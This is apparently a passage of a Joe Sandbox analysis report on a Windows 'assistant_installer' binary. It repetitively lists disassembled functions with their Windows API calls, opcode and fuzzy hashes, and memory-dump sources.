                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CriticalInfoInit_thread_footerInit_thread_headerSection$EnterLeaveNativeProductSystemVersion
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2982442099-0
                                                                                                                                                                                                                • Opcode ID: 921eea41f0c668fcfe127a9705195796c1ade19f621f504b7ac967937b5370de
                                                                                                                                                                                                                • Instruction ID: 91259e562607d84a37c3a6ee9b1cb5bb1aca6eacee4b83571949177789a7d818
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 921eea41f0c668fcfe127a9705195796c1ade19f621f504b7ac967937b5370de
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 87313971900340EFE710DB68EC46FAAB3A4FFC6321F101619F99993691EBB56544CB43
                                                                                                                                                                                                                Function 006F9680 Relevance: 10.6, APIs: 7, Instructions: 88memoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • AllocateAndInitializeSid.ADVAPI32 ref: 006F96E0
                                                                                                                                                                                                                • GetNamedSecurityInfoW.ADVAPI32 ref: 006F9740
                                                                                                                                                                                                                • BuildTrusteeWithSidW.ADVAPI32 ref: 006F9778
                                                                                                                                                                                                                • SetEntriesInAclW.ADVAPI32 ref: 006F97A0
                                                                                                                                                                                                                • SetNamedSecurityInfoW.ADVAPI32 ref: 006F97CC
                                                                                                                                                                                                                • LocalFree.KERNEL32 ref: 006F97DC
                                                                                                                                                                                                                • LocalFree.KERNEL32 ref: 006F97EC
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FreeInfoLocalNamedSecurity$AllocateBuildEntriesInitializeTrusteeWith
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 617183956-0
                                                                                                                                                                                                                • Opcode ID: d346ebd6c31ca90ea6c959ac1eec74bdac837e52297914cd574513e31cc5e177
                                                                                                                                                                                                                • Instruction ID: 803dbd15b1f7f3e4baeb71bfc090de3a6296e7f727d653921cac3d3d9bba86c6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d346ebd6c31ca90ea6c959ac1eec74bdac837e52297914cd574513e31cc5e177
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5241D4718187858FD300EF68D6457AAFBF0BF98755F009A1EF89492260EB749588CB87
                                                                                                                                                                                                                Function 0084792E Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID: api-ms-$ext-ms-
                                                                                                                                                                                                                • API String ID: 0-537541572
                                                                                                                                                                                                                • Opcode ID: a3f9f6be0f110b763feb5de94181d2e82c9ca0d358cc035bf5ca616f6904ba4d
                                                                                                                                                                                                                • Instruction ID: 54b54f642cdcb08aa684300b5bd232039c8fc57522d7fb231ea5b1b347bdc16a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a3f9f6be0f110b763feb5de94181d2e82c9ca0d358cc035bf5ca616f6904ba4d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 88212732A4922CABDB319B289C40B1A3F58FF11764F240122FD06E7291D738EC00C6E1
                                                                                                                                                                                                                Function 006FD06C Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 25libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 006FCC90: _strlen.LIBCMT ref: 006FCD83
                                                                                                                                                                                                                  • Part of subcall function 0083D9B4: IsProcessorFeaturePresent.KERNEL32(00000017,00846F16,?,0083C03F,?,?,?,00000000,?,?,006FCEDF,?,?,?,0072EE62,?), ref: 0083D9D0
                                                                                                                                                                                                                • GetModuleHandleA.KERNEL32(ntdll.dll), ref: 006FD098
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,RtlCaptureStackBackTrace), ref: 006FD0A4
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AddressFeatureHandleModulePresentProcProcessor_strlen
                                                                                                                                                                                                                • String ID: Bad variant access$RtlCaptureStackBackTrace$bad_variant_access.cc$ntdll.dll
                                                                                                                                                                                                                • API String ID: 1358637221-3051016021
                                                                                                                                                                                                                • Opcode ID: b26f20569713b325d7e0e6056abf7d4cd821b2c6d2ebf7cfece9294ff80e58a8
                                                                                                                                                                                                                • Instruction ID: f70858504f48cdd86a9158ab4591bb229f7cd352b21799d8c3a83b7af9083161
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b26f20569713b325d7e0e6056abf7d4cd821b2c6d2ebf7cfece9294ff80e58a8
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B1D01725684308FBE20037E56C0BE253A5DF715B1AF900437BE29E5B92FDAA910406E7
                                                                                                                                                                                                                Function 008409A4 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetConsoleOutputCP.KERNEL32(?,00000000,?), ref: 008409EC
                                                                                                                                                                                                                • __fassign.LIBCMT ref: 00840BD1
                                                                                                                                                                                                                • __fassign.LIBCMT ref: 00840BEE
                                                                                                                                                                                                                • WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00840C36
                                                                                                                                                                                                                • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00840C76
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00840D1E
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileWrite__fassign$ConsoleErrorLastOutput
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1735259414-0
                                                                                                                                                                                                                • Opcode ID: b2bd6ad94f78a4fd41761dc09cb87f0a427fedc15acbb55308149d81a92945f6
                                                                                                                                                                                                                • Instruction ID: f451ff87f62de33a910bd86015db8ece79697b98c2a369505efd026c14c34593
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b2bd6ad94f78a4fd41761dc09cb87f0a427fedc15acbb55308149d81a92945f6
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 18C16A71D0025D9FCB15CFE8C8809EEBBB5FF48318F28416AE955EB242D631A946CF60
                                                                                                                                                                                                                Function 0083CFD7 Relevance: 9.3, APIs: 6, Instructions: 301COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: 0d50640be74f2d828d71ccf95e697e2396e953587d5252ae88628df08b1f44b8
                                                                                                                                                                                                                • Instruction ID: 3b259f43970080c3fa7f27efdf90e2f450d7e5010d2163eb002c5f31a288e4be
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0d50640be74f2d828d71ccf95e697e2396e953587d5252ae88628df08b1f44b8
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8CC1C170A043499FDB19DF98E881BAEBBB0FF89304F044159E855EB392D7749D41CBA2
                                                                                                                                                                                                                Function 00710260 Relevance: 9.1, APIs: 6, Instructions: 125COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 00710305
                                                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000,0000000A,?), ref: 0071030F
                                                                                                                                                                                                                • DuplicateToken.ADVAPI32(?,00000001,?,?), ref: 00710338
                                                                                                                                                                                                                • GetNamedSecurityInfoW.ADVAPI32 ref: 00710387
                                                                                                                                                                                                                • AccessCheck.ADVAPI32(?,?,?,?,?,?,?,?), ref: 007103B5
                                                                                                                                                                                                                • LocalFree.KERNEL32(00000000), ref: 007103EC
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ProcessToken$AccessCheckCurrentDuplicateFreeInfoLocalNamedOpenSecurity
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1559206406-0
                                                                                                                                                                                                                • Opcode ID: 60917fa356801c01cde5a0a2f171c4e7edb581e4afee5bb75d8db391c60e022c
                                                                                                                                                                                                                • Instruction ID: 5e1cc140c0a6aee9bae79fdb48f9f64463a55f9666802e12d333ef5399db748c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 60917fa356801c01cde5a0a2f171c4e7edb581e4afee5bb75d8db391c60e022c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 75419D71608345DFD710DF69C884A6FBBE4FB88354F008A2EF495A3290E7B5D985CB82
                                                                                                                                                                                                                Function 00740100 Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(008A3F44,?,?,0077DA32,?), ref: 0074015D
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(008A3F44,FFFFFFFF,0077DA32), ref: 007401EF
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0074021D
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00740255
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00740267
                                                                                                                                                                                                                  • Part of subcall function 008294E7: EnterCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 008294F2
                                                                                                                                                                                                                  • Part of subcall function 008294E7: LeaveCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 0082952F
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0074028B
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CriticalExclusiveInit_thread_footerInit_thread_headerLockSection$AcquireEnterLeaveRelease
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 604925594-0
                                                                                                                                                                                                                • Opcode ID: dec2bdb224da7720dd0dc402903ea5a2fb61b790794afcedbeb272f3c125e994
                                                                                                                                                                                                                • Instruction ID: aeee7a84422dbf8706c590cb9ff9278f57d7d770ec27de0e3638aaee511cbd9b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: dec2bdb224da7720dd0dc402903ea5a2fb61b790794afcedbeb272f3c125e994
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4841E8B0A10204DFE710DF58EC56A19B3B1FB46710F100169F666A7791DF75AA44CB92
                                                                                                                                                                                                                Function 007923A0 Relevance: 9.1, APIs: 6, Instructions: 99COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0079249D
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 007924C6
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 007924D8
                                                                                                                                                                                                                  • Part of subcall function 008294E7: EnterCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 008294F2
                                                                                                                                                                                                                  • Part of subcall function 008294E7: LeaveCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 0082952F
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00792501
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00792513
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0079253C
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Init_thread_footerInit_thread_header$CriticalSection$EnterLeave
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1029325649-0
                                                                                                                                                                                                                • Opcode ID: 5f4b52142db96f69b9456412f0d135e98d484cc14a9f5170eda871108a1b018b
                                                                                                                                                                                                                • Instruction ID: 5d9bd04580132f440d11733d34e23f1ab78c6f85cdff2db22b74b1175fb4fa2c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5f4b52142db96f69b9456412f0d135e98d484cc14a9f5170eda871108a1b018b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2131EAB0A006109BE711FB68B852F267350FB43714F184229D616D7BD3E774AC86CB53
                                                                                                                                                                                                                Function 00844F7C Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,00000001,00844F73,0082BED4,00000011), ref: 00844F8A
                                                                                                                                                                                                                • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00844F98
                                                                                                                                                                                                                • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00844FB1
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 00845003
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLastValue___vcrt_
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3852720340-0
                                                                                                                                                                                                                • Opcode ID: c1bfef3b9e6135e7b5fc763f522ad30f91afd4b09b0980998cd30868a285836f
                                                                                                                                                                                                                • Instruction ID: 75f03f797b9e092e233e4d2b4519a9e395d56018b176a97da9134d90886615d8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c1bfef3b9e6135e7b5fc763f522ad30f91afd4b09b0980998cd30868a285836f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4A01243220D62A9FA73527BCBC86A2B2644FB0277A720022EF820C45E1FF910C09A1D1
                                                                                                                                                                                                                Function 00715E74 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 285COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: browser.flags$off
                                                                                                                                                                                                                • API String ID: 4218353326-975437752
                                                                                                                                                                                                                • Opcode ID: d07b79ecf9d27f37512a44111933624c7226e1ef6ad1676a1e7bf13fe08a6baf
                                                                                                                                                                                                                • Instruction ID: a584f7b2475528159303aba888932173b41315ba0e8a5f21260af47df2ef3ebc
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d07b79ecf9d27f37512a44111933624c7226e1ef6ad1676a1e7bf13fe08a6baf
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0AA126B0908350AFD711DF28D840B6BBBE4BF99304F04495DF889A7292E739DA85CB52
                                                                                                                                                                                                                Function 00758770 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 267COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,0000011C,?,?,007585FC,0000011C,008A4C50,?), ref: 007587A7
                                                                                                                                                                                                                • IsWow64Process.KERNEL32(00000000,00000000), ref: 007587BB
                                                                                                                                                                                                                  • Part of subcall function 00757730: RegOpenKeyExW.ADVAPI32(?,?,00000000,?,00000000), ref: 0075775F
                                                                                                                                                                                                                  • Part of subcall function 00757730: RegCloseKey.ADVAPI32(00000000), ref: 00757772
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Process$CloseCurrentOpenWow64
                                                                                                                                                                                                                • String ID: ReleaseId$SOFTWARE\Microsoft\Windows NT\CurrentVersion$UBR
                                                                                                                                                                                                                • API String ID: 108380400-4060060583
                                                                                                                                                                                                                • Opcode ID: 56f15b78f9f928298ef288ab875e2deb44ad3dba64b0cba0f14f4ad6f0881366
                                                                                                                                                                                                                • Instruction ID: 625f67287a71a19ff6e36207c2e9e9b4090570b8035c10dcd3ec86ab05a2eed7
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 56f15b78f9f928298ef288ab875e2deb44ad3dba64b0cba0f14f4ad6f0881366
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F8B173B05047408FE764CF24C494797BBE1FF84315F144A1EE89A97681DBB8E949CB53
                                                                                                                                                                                                                Function 007931C0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 241COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00793366
                                                                                                                                                                                                                  • Part of subcall function 00792E80: _strlen.LIBCMT ref: 00792F5F
                                                                                                                                                                                                                  • Part of subcall function 00792E80: _strlen.LIBCMT ref: 00792F95
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
